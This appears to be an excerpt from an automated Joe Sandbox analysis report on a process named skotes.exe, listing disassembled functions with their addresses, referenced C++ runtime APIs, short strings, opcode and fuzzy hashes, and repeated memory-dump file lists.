Instruction ID: ef7105ba67a21319f6964880788512ddcf362b9e042695448656dd172a99b5f4
Opcode Fuzzy Hash: 042d6a2cec92a087f3f36eb69696918648f4a116203c1dbfad940206fd44e931
Instruction Fuzzy Hash: 13A135B5A016158FDB22CF69D984B9EBBF0FF48700F19815AE819AB351EB759D01CF80

Function 003C26B0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 207COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 003C2846
___std_exception_destroy.LIBVCRUNTIME ref: 003C28E0

Strings

=m%, xrefs: 003C26D8

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: =m%
API String ID: 2970364248-854977245
Opcode ID: 739c16bc7388e8d587cab29f2c03efa0fdee900bea7312480e495671401b044e
Instruction ID: 53d681e027be3a9a0d93539ad3c31794b2072fa1d468ee99154297a2ab04ce5b
Opcode Fuzzy Hash: 739c16bc7388e8d587cab29f2c03efa0fdee900bea7312480e495671401b044e
Instruction Fuzzy Hash: 4C7192719002089FDB05DFA8D881BDEFBB5EF49310F14812EE815AB341DB74A984CBA5

Function 003CDBE0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 189COMMON

Download Yara Rule

Strings

list too long, xrefs: 003CE09D
=m%, xrefs: 003CDBE6, 003CDD2F

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: =m%$list too long
API String ID: 0-1651165568
Opcode ID: f6bd42af108f9b40ccbd2e44738bda5f4a685b711b3c705b16a1c864043e7ba2
Instruction ID: 52d4135d1eacf5f5e751739c79caafe135999e266b0299129870ad14a4438dbe
Opcode Fuzzy Hash: f6bd42af108f9b40ccbd2e44738bda5f4a685b711b3c705b16a1c864043e7ba2
Instruction Fuzzy Hash: 1E61A2B1D14319ABDB21DF64DC49B99B7B4EF04700F1051AAE808AB381EB71AE81CB95

Function 003FF35F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 003FF3A3

Strings

8"B, xrefs: 003FF44B
`'B, xrefs: 003FF375

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"B$`'B
API String ID: 3903695350-1260911311
Opcode ID: 8eb78617b545ed11dcd30746899537c086c67a2d6a2bb008bb75f62da21a628f
Instruction ID: e8537857e47370ecaabf99c752012535a3aa635c60bc6c6806725d9452548098
Opcode Fuzzy Hash: 8eb78617b545ed11dcd30746899537c086c67a2d6a2bb008bb75f62da21a628f
Instruction Fuzzy Hash: 93315C7160060DDFEB22AA39D855B7B73E8EF00355F11442AFA49DB595DF74AC80CB21

Function 003C2900 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 94COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 003C29DF

Strings

=m%, xrefs: 003C29C4
=m%, xrefs: 003C2915

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: =m%$=m%
API String ID: 2659868963-2190753001
Opcode ID: 98013a1e36e8f70615d81120a96408583ac170e812e2be40673d8406f5f4ab3b
Instruction ID: 6cf1d9d303c6404ab131a8aab0f29ffee48ef210b042e97a85d5a26b16e67417
Opcode Fuzzy Hash: 98013a1e36e8f70615d81120a96408583ac170e812e2be40673d8406f5f4ab3b
Instruction Fuzzy Hash: 4131D471910208AFC711DF58C840B9EFBB9FB49720F10821BF814E7740DBB4A994CBA4

Function 003C2B30 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 003C2B63

Strings

=m%, xrefs: 003C2B36
This function cannot be called on a default constructed task, xrefs: 003C2B43

Memory Dump Source

Source File: 00000001.00000002.2153506068.00000000003C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000001.00000002.2153471861.00000000003C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153506068.0000000000422000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153735071.0000000000429000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153813808.000000000042B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2153834550.0000000000437000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154054440.0000000000597000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154076782.0000000000599000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154127035.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154145730.00000000005B3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154167396.00000000005C0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154222391.00000000005D3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154248162.00000000005D7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154330705.00000000005D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154360845.00000000005D9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154389772.00000000005EC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154417948.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154437633.00000000005F0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154463164.00000000005F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154484888.00000000005F9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154759869.0000000000605000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154797773.000000000061C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2154923641.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155045829.000000000061E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155067670.0000000000622000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155090065.0000000000629000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155115405.000000000062C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155139636.000000000062E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155166643.0000000000633000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155192466.0000000000647000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155213928.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155236632.000000000064F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155257037.0000000000650000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155276674.0000000000651000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155296953.0000000000652000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155316972.0000000000653000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155338351.0000000000658000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155366827.0000000000659000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155392749.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155418128.0000000000677000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.0000000000679000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155438922.00000000006A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155525595.00000000006D0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155553020.00000000006D1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155658004.00000000006D6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155675773.00000000006D8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155703099.00000000006E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2155730789.00000000006E7000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_3c0000_file.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: =m%$This function cannot be called on a default constructed task
API String ID: 2659868963-295833954
Opcode ID: 17150b75b78a86665632752633cc82a7efd7ba843e8e27b1b51155adfdab7cfa
Instruction ID: eed216f4a3c47e26019dd30fca6f227baa979b38f483142c261bf49bed85d2e9
Opcode Fuzzy Hash: 17150b75b78a86665632752633cc82a7efd7ba843e8e27b1b51155adfdab7cfa
Instruction Fuzzy Hash: 53F08271D2020CABC711DF6898416DEBBF9AF15300B5082AEE94067300EBB41A988B99

Analysis Process: skotes.exePID: 7684, Parent PID: 1064COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	1850
Total number of Limit Nodes:	15

Executed Functions

Function 007B652B Relevance: 1.5, APIs: 1, Instructions: 24
COMMONLIBRARYCODE

Download Yara Rule
